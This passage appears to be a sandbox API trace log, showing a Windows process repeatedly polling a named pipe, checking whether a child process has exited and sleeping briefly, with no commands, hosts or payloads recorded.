[0178.487] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.487] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.488] Sleep (dwMilliseconds=0xa) [0178.536] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.536] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.536] Sleep (dwMilliseconds=0xa) [0178.585] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.585] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.585] Sleep (dwMilliseconds=0xa) [0178.631] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.631] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.631] Sleep (dwMilliseconds=0xa) [0178.676] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.676] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.676] Sleep (dwMilliseconds=0xa) [0178.713] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.713] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.713] Sleep (dwMilliseconds=0xa) [0178.730] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.730] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.730] Sleep (dwMilliseconds=0xa) [0178.746] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.746] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.746] Sleep (dwMilliseconds=0xa) [0178.762] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.762] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.762] Sleep (dwMilliseconds=0xa) [0178.772] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.772] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.772] Sleep (dwMilliseconds=0xa) [0178.793] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.793] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.793] Sleep (dwMilliseconds=0xa) [0178.800] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.800] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.800] Sleep (dwMilliseconds=0xa) [0178.822] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.822] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.822] Sleep (dwMilliseconds=0xa) [0178.848] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.849] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.849] Sleep (dwMilliseconds=0xa) [0178.881] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.881] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.881] Sleep (dwMilliseconds=0xa) [0178.924] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0178.924] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0178.924] Sleep (dwMilliseconds=0xa) [0179.149] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.149] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.149] Sleep (dwMilliseconds=0xa) [0179.190] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.190] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.190] Sleep (dwMilliseconds=0xa) [0179.236] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.236] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.236] Sleep (dwMilliseconds=0xa) [0179.290] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.290] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.290] Sleep (dwMilliseconds=0xa) [0179.333] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.334] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.334] Sleep (dwMilliseconds=0xa) [0179.376] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.376] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.376] Sleep (dwMilliseconds=0xa) [0179.432] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.432] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.432] Sleep (dwMilliseconds=0xa) [0179.473] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.473] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.473] Sleep (dwMilliseconds=0xa) [0179.522] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.522] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.522] Sleep (dwMilliseconds=0xa) [0179.583] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.583] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.583] Sleep (dwMilliseconds=0xa) [0179.628] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.628] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.628] Sleep (dwMilliseconds=0xa) [0179.689] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.689] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.690] Sleep (dwMilliseconds=0xa) [0179.735] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.735] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.735] Sleep (dwMilliseconds=0xa) [0179.917] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.917] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.918] Sleep (dwMilliseconds=0xa) [0179.954] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0179.954] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0179.954] Sleep (dwMilliseconds=0xa) [0180.002] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.002] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.002] Sleep (dwMilliseconds=0xa) [0180.042] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.042] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.042] Sleep (dwMilliseconds=0xa) [0180.079] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.079] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.079] Sleep (dwMilliseconds=0xa) [0180.129] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.129] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.129] Sleep (dwMilliseconds=0xa) [0180.195] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.195] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.195] Sleep (dwMilliseconds=0xa) [0180.230] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.230] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.230] Sleep (dwMilliseconds=0xa) [0180.285] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.285] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.285] Sleep (dwMilliseconds=0xa) [0180.433] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.433] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.433] Sleep (dwMilliseconds=0xa) [0180.502] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.502] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.502] Sleep (dwMilliseconds=0xa) [0180.851] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0180.851] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0180.851] Sleep (dwMilliseconds=0xa) [0181.666] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0181.666] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0181.666] Sleep (dwMilliseconds=0xa) [0181.804] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0181.804] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0181.804] Sleep (dwMilliseconds=0xa) [0181.932] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0181.932] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0181.933] Sleep (dwMilliseconds=0xa) [0182.036] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.036] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.036] Sleep (dwMilliseconds=0xa) [0182.107] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.107] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.107] Sleep (dwMilliseconds=0xa) [0182.308] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.308] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.308] Sleep (dwMilliseconds=0xa) [0182.351] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.351] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.351] Sleep (dwMilliseconds=0xa) [0182.424] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.424] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.424] Sleep (dwMilliseconds=0xa) [0182.506] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.506] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.507] Sleep (dwMilliseconds=0xa) [0182.545] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.545] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.545] Sleep (dwMilliseconds=0xa) [0182.638] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.638] GetExitCodeProcess (in: hProcess=0xd0, lpExitCode=0x4034ee | out: lpExitCode=0x4034ee*=0x103) returned 1 [0182.638] Sleep (dwMilliseconds=0xa) [0182.719] PeekNamedPipe (in: hNamedPipe=0xc4, lpBuffer=0x403076, nBufferSize=0x3ff, lpBytesRead=0x4034e6, lpTotalBytesAvail=0x4034ea, lpBytesLeftThisMessage=0x0 | out: lpBuffer=0x403076*, lpBytesRead=0x4034e6*=0x0, lpTotalBytesAvail=0x4034ea*=0x0, lpBytesLeftThisMessage=0x0) returned 1 [0182.719] GetExitCodeProcess (in: hProcess=0xd0, 